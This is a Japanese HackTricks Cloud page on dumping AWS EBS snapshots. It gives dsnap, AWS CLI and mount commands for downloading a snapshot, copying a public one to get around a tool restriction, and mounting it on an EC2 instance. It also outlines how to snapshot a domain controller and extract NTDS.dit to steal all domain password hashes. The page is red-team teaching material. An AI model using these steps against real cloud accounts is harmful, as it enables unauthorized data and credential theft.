AWS - EBS Snapshot Dump

htARTE（HackTricks AWS Red Team Expert） でAWSハッキングをゼロからヒーローまで学びましょう！

HackTricks をサポートする他の方法:

HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください！
公式PEASS＆HackTricksのグッズを入手する
The PEASS Familyを発見し、独占的な NFTs のコレクションを見つける
💬 Discordグループ または telegramグループ に参加するか、Twitter 🐦 @hacktricks_live をフォローする。**
ハッキングトリックを共有するには、 HackTricks と HackTricks Cloud のGitHubリポジトリにPRを提出してください。

ローカルでスナップショットを確認する

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

注意：dsnapはパブリックスナップショットをダウンロードすることを許可しません。これを回避するために、スナップショットのコピーを個人アカウントに作成し、それをダウンロードできます：

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

このテクニックの詳細については、https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/ のオリジナルリサーチを参照してください。

Pacuを使用して、ebs__download_snapshots モジュールを使用することができます。

AWSでスナップショットをチェックする

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

EC2 VMでマウントする（バックアップのコピーと同じリージョンにある必要があります）：

ステップ1：EC2→ボリュームに移動して、好みのサイズとタイプの新しいボリュームを作成します。

この操作を実行するには、次のコマンドを使用してください：

EC2インスタンスにアタッチするEBSボリュームを作成します。
EBSボリュームとインスタンスが同じゾーンにあることを確認します。

ステップ2：作成したボリュームを右クリックして「ボリュームをアタッチ」オプションを選択します。

ステップ3：インスタンステキストボックスからインスタンスを選択します。

この操作を実行するには、次のコマンドを使用してください：

EBSボリュームをアタッチします。

ステップ4：EC2インスタンスにログインし、lsblkコマンドを使用して利用可能なディスクをリストします。

ステップ5：sudo file -s /dev/xvdfコマンドを使用してボリュームにデータがあるかどうかを確認します。

上記コマンドの出力が"/dev/xvdf: data"と表示された場合、ボリュームは空です。

ステップ6：sudo mkfs -t ext4 /dev/xvdfコマンドを使用してボリュームをext4ファイルシステムにフォーマットします。または、sudo mkfs -t xfs /dev/xvdfコマンドを使用してxfs形式にもフォーマットできます。ext4またはxfsのいずれかを使用する必要があります。

ステップ7：新しいext4ボリュームをマウントするためのディレクトリを作成します。たとえば、"newvolume"という名前を使用できます。

この操作を実行するには、sudo mkdir /newvolumeコマンドを使用してください。

ステップ8：sudo mount /dev/xvdf /newvolume/コマンドを使用してボリュームを"newvolume"ディレクトリにマウントします。

ステップ9："newvolume"ディレクトリに移動してディスクスペースを確認してボリュームのマウントを検証します。

この操作を実行するには、次のコマンドを使用してください：

/newvolumeにディレクトリを変更します。
df -h .コマンドを使用してディスクスペースを確認します。このコマンドの出力には、"newvolume"ディレクトリの空き容量が表示されるはずです。

Pacuを使用してebs__explore_snapshotsモジュールでこれを行うことができます。

AWSでスナップショットを確認する（CLIを使用）

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
├─xvdh1  202:113  0  7.9G  0 part
├─xvdh14 202:126  0    4M  0 part
└─xvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

シャドウコピー

EC2:CreateSnapshot 権限を持つ任意のAWSユーザーは、ドメインコントローラーのスナップショットを作成し、それを制御するインスタンスにマウントして、Impacketのsecretsdumpプロジェクトで使用するために NTDS.ditとSYSTEM レジストリハイブファイルをエクスポートすることで、すべてのドメインユーザーのハッシュを盗むことができます。

この攻撃を自動化するためにこのツールを使用できます: https://github.com/Static-Flow/CloudCopy または、スナップショットを作成した後、以前の技術の1つを使用することもできます。

参考文献

https://devopscube.com/mount-ebs-volume-ec2-instance/

htARTE（HackTricks AWS Red Team Expert）でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

HackTricksで企業を宣伝したい または HackTricksをPDFでダウンロードしたい 場合は、SUBSCRIPTION PLANS をチェックしてください！
公式PEASS＆HackTricksのグッズを入手する
The PEASS Familyを発見し、独占的な NFTs のコレクションを見つける
💬 Discordグループ または telegramグループ に参加するか、Twitter 🐦 @hacktricks_live をフォローする
HackTricks と HackTricks Cloud のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する

前へAWS - EC2, EBS, SSM & VPC Post Exploitation 次へAWS - Malicious VPC Mirror

最終更新 29 日前